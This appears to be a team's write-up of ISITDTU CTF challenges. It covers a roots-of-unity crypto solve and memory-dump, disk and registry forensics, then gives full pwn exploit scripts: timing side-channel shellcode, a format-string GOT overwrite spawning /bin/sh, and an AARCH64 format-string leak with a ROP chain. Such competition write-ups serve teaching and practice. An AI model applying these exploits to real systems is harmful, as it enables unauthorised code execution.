This challenge is the same as the previous one but with a small modification: we can just querry at most 32 times. So obviously, we can’t use the navie strategy here :( .

https://hackmd.io/_uploads/SkuKTjseJx.png

The solution here is to send 32th root of unitities to the server and caculate the sum of the returned numbers. The we can divide the result by 32 and we get a0. With a bit of luck, we can get flag :v

from pwn import *
from Crypto.Util.number import *
from sage.all import *
while True:
    r = remote('35.187.238.100',5002)
    r.recvuntil(b'= ')
    p = eval(r.readline())
    R = Zmod(p)
    P = PolynomialRing(R,'x')
    x = P.gens()[0]
    r.recvuntil(b": ")
    q = list(map(int,(x**32 - 1).roots(multiplicities = false)))
    print(f"{len(q) = }")
    if len(q) != 32:
        continue
    r.sendline(" ".join(map(str, q)).encode())
    line = r.readlineS().strip()
    value_str = line.split("= ")[1]
    value = eval(value_str)
    mapped_values = map(P, value)
    summed_value = sum(mapped_values)
    divided_value = int(summed_value / 32)
    flag = long_to_bytes(divided_value)
    print(flag)
    if b"ISITDTU{" in flag:
        print(f"{flag = }")
        break

ISITDTU{M1x_4941n!_73360d0e5fb4}

Forensics

CPUsage

In this challenge, we are given a memorydump, which could be from Windows system, and we have to answer the following questions:

  • Name of the malicious process
  • full path to the executable of the process
  • PPID
  • C&C IP
  • family name of the malware

I assumed that the malicious process is currently running when this memorydump is captured, so I run windows.pslist.PsList module of Voltality and immediately found dlIhost.exe - which is a file that fakes the legitimate file dllhost.exe. We also got the PPID 264.

https://hackmd.io/_uploads/B11LB6k-ye.png

In order to get the path of the malware, I use windows.filescan.FileScan.

https://hackmd.io/_uploads/SJqTSpJ-Je.png

To get the C&C IP that the malware is connecting to, I use windows.netscan.NetScan.

https://hackmd.io/_uploads/BkBZ86yZye.png

Now, in order to find the malware family, I need to get the malware file itself to push into antivirus detection system and check the signature to determine the family. I use windows.dumpfiles.DumpFiles to get the dump of that executable, then upload to VirusTotal.

https://hackmd.io/_uploads/BJLfvaybJl.png

https://hackmd.io/_uploads/HJqrv6Jbyl.png

The final flag is: ISITDTU{dlIhost.exe-C:\Users\m4shl3\AppData\Roaming\DLL\dlIhost.exe-264_45.77.240.51-harharminer}

Corrupted Hard Drive

https://hackmd.io/_uploads/rkP3TPnxyx.png

  1. Analysis Phase

This challenge requires us to address a series of questions to uncover the flag. I’ll proceed through each question systematically.

Detailed Walkthrough

Q1. What is the starting address of the LBA address? Format (0xXXXXX)

The LBA (Logical Block Addressing) starting address is determined by the offset from the beginning of the disk to the first sector of the partition.

Upon examining the disk structure, I located the partition starting at sector 128. This translates to a starting address of 0x10000, which is our answer.

Q2. What is the tampered OEM ID? Format (0xXXXXXXXXXXXXXXXX)

In this task, our goal is to identify the OEM ID. The OEM ID is a unique string indicating the file system type, like NTFS, exFAT, etc.

It is typically located at offset 3 in the file system structure, where we can inspect it to find any alterations.

Here’s an example of how to locate the OEM ID. To do this, I used HxD to open the disk file and navigated to the byte at offset 3.

Answer: 0x4E54460020202020

Q3. After Fixing the disk, my friend downloaded a file from Google, what is the exact time when he clicked to download that file?

I suspect the files might have been renamed based on the download timestamp. Nonetheless, opening Autopsy and navigating to the “Web Downloads” feature should help us verify this.

https://hackmd.io/_uploads/HyIOxO3eyx.png

From there, we identify the file as Blue_Team_Notes.pdf, located within the MustRead folder. Let’s navigate to it.

https://hackmd.io/_uploads/Bkc2xOne1e.png

We’ll take the Created Time and convert it to UTC, resulting in: 2024-10-22 21:51:13.

Q4. How much time did that file take to for download (in seconds)??

For this question, I know that during a download, a temporary file like .crdownload is created. We can parse both $LogFile and $UsnJrnl to trace this process. In this challenge, I opted to use $LogFile.

Upon inspection, I noticed a discrepancy in the timestamps, which likely provides the answer.

https://hackmd.io/_uploads/rkBSZdneye.png

(I ended up brute-forcing the timestamp since locating the exact column became tedious) –> Answer: 126

Q5. The first directory he moved this file to?

In this challenge, I used the remove method, knowing that the MustRead folder is a carved folder, which indicates it was likely deleted. This left me with two options: best and secret. I tried both and found the answer to be: best

Q6. Last directory the suspicious move the file to?

As mentioned, the final directory where we located the PDF file is the MustRead folder — making MustRead the answer.

Q7. The time he of the deletion??

I used $UsnJrnl because this file logs creation, deletion, and modification activities for files and directories, making it a valuable source of information.

Tool used: UsnJrnl2Csv

To parse the file, we utilized the search shortcut for efficient findings.

https://hackmd.io/_uploads/HkopGdnlke.png

Answer: 2024-10-22 22:20:28

https://hackmd.io/_uploads/SJgbN0yWyx.png

ISITDTU{https://www.youtube.com/watch?v=yqp61_Wqm-A}

Initial

To be honest, this challenge is much simpler that I have expected. Let’s have a look at the challenge description:

Description: A Windows environment has been compromised .The attacker used a known feature in windows which served as the initial vector of the attack. Your task is to investigate & SEARCH how the attacker get the initial access.

Some key information:

  • Attacker use SEARCH feature of Windows (probably in Explorer)
  • We are given a dump of registry, and the data leading to flag should be inside.

Since this is a special artifacts that are not mentioning much, I have to perform a Google search and this is what I found:

https://hackmd.io/_uploads/S1JOxpyZ1x.png

The 2nd post mentions that:

https://hackmd.io/_uploads/HkBql6J-ke.png

Searching that registry key returns:

https://hackmd.io/_uploads/SkVPZ61bkg.png

I will decode using CyberChef:

https://hackmd.io/_uploads/rJVOW6kbJg.png

Flag: ISITDTU{N0w_I_kn0w_about_search-ms}

PWN

shellcode 1

https://hackmd.io/_uploads/rJaT05ilJl.png

Reverse

https://hackmd.io/_uploads/rJzzxhjgJe.png

The flow is pretty straight-forward:

  • read flag and save it in memory
  • mmap a rwx address space
  • allow us write shellcode on it
  • filter syscall with seccomp
    • no open, read, write, execve

Exploit

So I just use side-channel attack, to bruteforce the flag

Script

from pwn import *

exe = './challenge'
e = context.binary = ELF('challenge')
gdbscript = '''
b *main+344
b *main+374
continue
'''

def connect():
    global r
    r = remote("152.69.210.130", 3001)
    # r = process(exe)
    # r = gdb.debug(exe, gdbscript=gdbscript)

# pwningggg

def tryChar(c,index):
    # Connect to the service
    connect()
    r.recvline(b"Some gift for you:")

    # Default is to exit
    shellcode = "xor eax, eax\n"
    shellcode += "mov edi, 0\n" # Read from stdin, effectively holding the connection open

    shellcode += "add rdx, 0x1000\n"

    # Load up 64-bits at a time
    shellcode += "mov rbx, [rdx + {0}*8]\n".format(index//8)

    # Shift over to the char we're actually comparing against
    shellcode += "shr rbx, {0}\n".format(8*(index%8))

    # perform loop
    shellcode += "loop:"

    # Perform the comparison with our guess
    shellcode += "cmp bl, {0}\n".format(ord(c))

    # Conditionally return if we guessed wrong
    shellcode += "je loop\n"
    shellcode += "ret\n"

    # Sometimes we ended up with newline chars, just ask pwntools to remove them
    shellcode = asm(shellcode)

    # Send it
    r.sendline(shellcode)
    # Try reading
    try:
        r.recvline(timeout=0.5)
    except:
        # Connection closed on us, wrong guess
        r.close()
        return False

    # Connection stayed open, correct guess
    r.close()
    return True

flag = "ISITDTU{"

# Not specifying stop here since we don't know how long the flag is
while True:

    # Guess every character
    for c in string.printable:

        print(f'Trying char: {c}')
        # If we found this char, break and move to the next
        if tryChar(c,len(flag)):
            print("Found char: " + c)
            flag += c
            break

    else:
        # If we hit this, we're probably done reading the flag
        break

# tryChar('q', len(flag))

print("Flag: " + flag)

r.interactive()

https://hackmd.io/_uploads/rk4A1aslyl.png

shellcode 2

https://hackmd.io/_uploads/HytVJjigJg.png

https://hackmd.io/_uploads/BkJPB3seyx.png

https://hackmd.io/_uploads/B1swShjlJe.png

https://hackmd.io/_uploads/BkPdBhsgkg.png

The code (for loop) at line 18 (main) is checking whether each byte of input (shellcode) that we give is an odd byte or not. If its even, it will be replaced with 0x90 (nop) Lets look at assembly code

https://hackmd.io/_uploads/rkwUL3oxke.png

We will set a breakpoint here to check the values of the registers.

https://hackmd.io/_uploads/SJl6U3ogJl.png

I will focus on 4 registers: ''' rax = 0 rdi = 0 rsi = 0xaabbc000 (address of shellcode) rdx = 0xaabbc000 (address of shellcode) ''' Great, that mean we can call read (syscall) to read to address 0xaabbc000 our “real” shellcode because there is no filter here :)). Just input 2 bytes

https://hackmd.io/_uploads/r1RUP3ieJg.png

https://hackmd.io/_uploads/Hk1KDhseyl.png

Note that when “call rdx”, it pushes the return address onto the stack, that is 0x00005555555553ff

https://hackmd.io/_uploads/SJXPO3slJx.png

https://hackmd.io/_uploads/SJ1Md3sg1g.png

The flag is at 0x555555558040

https://hackmd.io/_uploads/BkGTu2ilye.png

The offset from “return address” and “flag” is 0x2c41 My goal is to do write(1, buf, 0x100) so my new shellcode will be

https://hackmd.io/_uploads/Bk3_Y2oeyl.png

Script:

from pwn import *
e = context.binary = ELF('challenge_patched')
if args.LOCAL:
	#r = process("./challenge_patched")
	if 1:
		r = gdb.debug("./challenge_patched")
else:
	r = remote("152.69.210.130", 3002)



shellcode = b"\x0f\x05"

r.sendlineafter(b">\n", shellcode)
#r.sendline(b"cat flag.txt")

new_shellcode = b"A"*2 + b"\x48\x8B\x34\x24\x48\x81\xC6\x41\x2C\x00\x00\x48\x31\xC0\x48\xFF\xC0\x48\x31\xFF\x48\xFF\xC7\x48\xC7\xC2\x00\x01\x00\x00\x0F\x05"
sleep(1)
r.sendline(new_shellcode)
r.interactive()

Result:

https://hackmd.io/_uploads/r1De5hie1e.png

Game of Luck

https://hackmd.io/_uploads/Sy8rJsog1x.png

https://hackmd.io/_uploads/SJFU9njg1e.png

https://hackmd.io/_uploads/rktPqnjg1g.png

https://hackmd.io/_uploads/SJhOo2jlyg.png

I will focus on 2 functions (sub_40140E() and sub_4015B6())

https://hackmd.io/_uploads/HJhsqhoeJg.png

Generate a random number v1 >=0 and <100 (at rbp-0xC => Important!!) and print out (Lucky number)

Then in the main function, it will call the sub_4015B6 function.

https://hackmd.io/_uploads/SJxUihjeyl.png

https://hackmd.io/_uploads/B1iconjxJe.png

We will take a look at the play_401480() function.

https://hackmd.io/_uploads/rkLRi3jxJl.png

In play_401480(), it will re-seed (by calling clock()) and ask us to guess what v2 is (v2 is the number generated from rand()). We input the guessed number via the sub_4013BB() function (read and atoi)

https://hackmd.io/_uploads/r1S13higye.png

If the guess is correct it will call the format_vuln_401534() function (format string!!!)

https://hackmd.io/_uploads/B1w1pholyl.png

The problem here is, it is difficult to guess the seed (clock) in just one guess. If we guess wrong, the program will exit immediately.

Here we go… At line 13 in sub_4015B6(), scanf limits the input to a maximum of one character. This means that only a single digit (0-9) will be read and converted into an unsigned integer. https://hackmd.io/_uploads/rytUR2ixkx.png

So we cannot just input 0x44 (=choice) to call the function format_vuln_401534(). Try debugging and set a breakpoint right there Run the program a few times and see that the value of choice before scanf is not the same.

https://hackmd.io/_uploads/rkg6l1psgkg.png

https://hackmd.io/_uploads/ByrbkpoeJl.png

Why?

https://hackmd.io/_uploads/BJZHkTjekg.png

“choice” is at rbp-0xC… Our lucky number is also at rbp-0xC. Reason:

https://hackmd.io/_uploads/BkQg-pjxJg.png

So, if lucky number is 0x44, and we input “-” when entering choice. The choice is still 0x44!! (scanf will not change the value of 0x44 if we enter “-"). The probability is 1/100 :)).

What do we do next

https://hackmd.io/_uploads/Syzo-6ogyg.png

We can use format string bug (input “-") multiple times. First, leak GOT to get the address of libc and use libc.rip to find the libc version. Then, overwrite atoi@got to the address of the system. Finally, enter “1” to enter the play_401480() function. In the play_401480() function, it will call the sub_4013BB() function.

https://hackmd.io/_uploads/Sk7izTolJx.png

In read, we enter “/bin/sh\x00”. Then atoi(buf) will be equivalent to system(buf) => system("/bin/sh”)

https://hackmd.io/_uploads/rk8Vmpil1e.png

Script

#!/usr/bin/python3

from ctypes import CDLL
from pwn import *

context.binary = elf = ELF("./chal_patched")



while True:
	#r = process(elf.path)
	r = remote("152.69.210.130", 2004)

	r.recvuntil(b"2. Exit\n")
	r.sendline(b"-")

	test = r.recv(5)
	if test == b"Enter":
		break

	r.close()



payload = b"%7$s".ljust(8, b"\x00")
payload += p64(elf.got['printf'])
r.sendlineafter(b"your name: ", payload)

leak = u64(r.recv(6)+b"\x00"*2)
print("[*] leak: ", hex(leak))

libc_addr = leak - 0x606f0
system = libc_addr + 0x50d70


#### overwrite got
fmt_payload = fmtstr_payload(6, {elf.got['atoi'] : system}, write_size='short')

r.recvuntil(b"2. Exit\n")
r.sendline(b"-")
r.sendlineafter(b"your name: ", fmt_payload)


r.sendlineafter(b"2. Exit\n", b"1")
r.sendlineafter(b"Enter your guess: ", b"/bin/sh\x00")
r.interactive()


no_name

https://hackmd.io/_uploads/Sk-Uysjxke.png

Reverse

https://hackmd.io/_uploads/rk8_bhiekx.png

What can be better than an AARCH64 challenge, obviously the stripped one :ok_hand:

At first I struggled with the debugging step, and also the custom qemu that this challenge use.

The flow of this program:

  • main

    • just call vuln1()
  • sub_D7C() a.k.a vuln1()

    • a simple race condition vuln
    • if success will call vuln2()
  • sub_C64() a.k.a vuln2()

    • give us read reading data to buf
    • then printf(buf) that allow format string bug
    • it allows us do this 2 times then return
  • sub_BD4() a.k.a vuln3()

    • a hidden function
    • allow us to overflow buf

Exploit

  1. vuln1()

    • bypass with race condition
  2. 1st vuln2()

    • we use the first printf to leak pie, stack, libc and canary
    • the second printf I will use to overwrite vuln2() to the return address of vuln1() (previouly is *main+24), now we will have infinite loop to vuln2()
    • The flow will become vuln2() -> *vuln1+296 -> vuln2() -> vuln2() -> vuln2() -> …
  3. 2nd and 3rd vuln2()

    • If we just directly move to vuln3() we will never escape infinite loop because the return address in stack frame is lower than buf -> cannot overflow
    • So instead of jumping to start of vuln3() as this instruction STP X29, X30, [SP,#var_30]! will extend the stack and cause the infinite loop
    • I will jump to to the the middle of vuln3() where it call read()
    • But this will have SIGSEGV fault when vuln3() return as the stack is corrupt
    • So I will use the FSB in vuln2() to patch the address in stack
  4. vuln3()

    • We have all we need now, just perform a simple AARCH64-ROP

Script

from pwn import *
import ctypes
import time
import subprocess
import os

exe = './chall'

e = context.binary = ELF(exe)

if args.REMOTE:
	
	libc = ELF('./libc.so.6')							# remote
	leak_offset = 0x273fc				# REMOTE

	ip = '152.69.210.130'  # change your ip and port here
	# ip = '0.0.0.0'
	port = 1337
	r = remote(ip, port)    
    
elif args.LOCAL:
	libc = ELF('/usr/lib/aarch64-linux-gnu/libc.so.6') 	# local
	leak_offset = 0x273fc				# LOCAL

	r = process(['./qemu_aarch64', exe])
	# r = process(['./ld-linux-aarch64.so.1', '--library-path', '.', exe])
    
else:
	r = process(['./qemu_aarch64', '-g', '9999', exe])
	libc = ELF('/usr/lib/aarch64-linux-gnu/libc.so.6') 	# local
	leak_offset = 0x273fc				# LOCAL

	# subprocess.Popen(['gnome-terminal', '--', 'gdb-multiarch', '-q', exe])

	gdbscript = '''
	target remote :9999
	b __libc_start_main@plt
	c
	b *($x0-0x24c)
	b *($x0-0x328)
	b *($x0-0x318)
	'''


# ================== vuln1 ===================== #

r.recvuntil(b"Enter your guess: ")

libc_vuln1 = ctypes.CDLL(None)
libc_vuln1.srand(int(time.time()))

# Generate a magic number
magic_number = libc_vuln1.rand() % 10000 + 1

r.sendline(str(magic_number).encode())

# ================== vuln2 ===================== #

r.recvuntil(b'your spell: ')

leak_payload = b'%4$p.%8$p.%29$p.%21$p'

# leak_payload = b''
# for i in range(18, 28):
# 	leak_payload += f'%{i}$p.'.encode()

r.sendline(leak_payload)

leak = r.recvline().split(b'.')

pie = int(leak[0], 16) - 0x10b1 
stack = int(leak[1], 16) + 0x8		# return address of vuln1 (main+ gif dos)

libc_base = int(leak[2], 16) - leak_offset

print(hex(int(leak[2], 16)))

canary = int(leak[3], 16)

log.info(f'Get PIE: {hex(pie)}')
log.info(f'Get STACK: {hex(stack)}')
log.info(f'Get LIBC: {hex(libc_base)}')
log.info(f'Get CANARY: {hex(canary)}')

input("Press Enter to continue...")

vuln3_offset = (pie+0xbd4) & 0xFFFF
vuln3_read_offset = (pie+0xc24) & 0xFFFF
vuln2_offset = (pie+0xc64) & 0xFFFF

main_ret_addr = pie+0xf64

r.recvuntil(b'your spell: ')

payload = f'AA%.{vuln2_offset-2}d%14$hn'.encode()
payload += p64(stack)

r.sendline(payload)

log.info(f'We will return to this address: {hex(main_ret_addr)}')

payload = f'%{main_ret_addr & 0xFFFF}c%14$hn'.encode()
payload = payload.ljust(0x10, b"\x00")
payload += p64(stack + 0x30)

r.recvuntil(b'your spell: ')
r.sendline(payload)

payload = f'%{(main_ret_addr>>16) & 0xFFFF}c%14$hn'.encode()
payload = payload.ljust(0x10, b"\x00")
payload += p64(stack + 0x32)

r.recvuntil(b'your spell: ')
r.sendline(payload)

payload = f'%14$hn'.encode()
payload = payload.ljust(0x10, b"\x00")
payload += p64(stack + 0x34)

# payload = b'%p'

r.recvuntil(b'your spell: ')
r.sendline(payload)

payload = f'%{vuln3_read_offset & 0xFFFF}c%14$hn'.encode()
payload = payload.ljust(0x10, b"\x00")
payload += p64(stack - 0x40)

r.recvuntil(b'your spell: ')
r.sendline(payload)

# ==================== vuln3 ======================== #

libc.address = libc_base

first_gadget = libc.search(asm('ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;')).__next__()
second_gadget = libc.search(asm('mov x0, x19; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;')).__next__()

# r.recvuntil(b'Give me your name: ')

payload = b''
payload += 128 * b'A'		# pad
payload += p64(canary)
payload += p64(0)
payload += p64(first_gadget)
payload += (8 * 3) * b'C'
payload += p64(second_gadget)
payload += p64(libc.search(b"/bin/sh").__next__())
payload += (8 * 2) * b'D'
payload += p64(libc.sym.system)

r.sendline(payload)

r.interactive()

https://hackmd.io/_uploads/B1QGl6ogyg.png

MISC

Welcome

https://hackmd.io/_uploads/ryTnC9ieke.png

It’s a damn adorable challenge! I love itttttttttttttttttt <3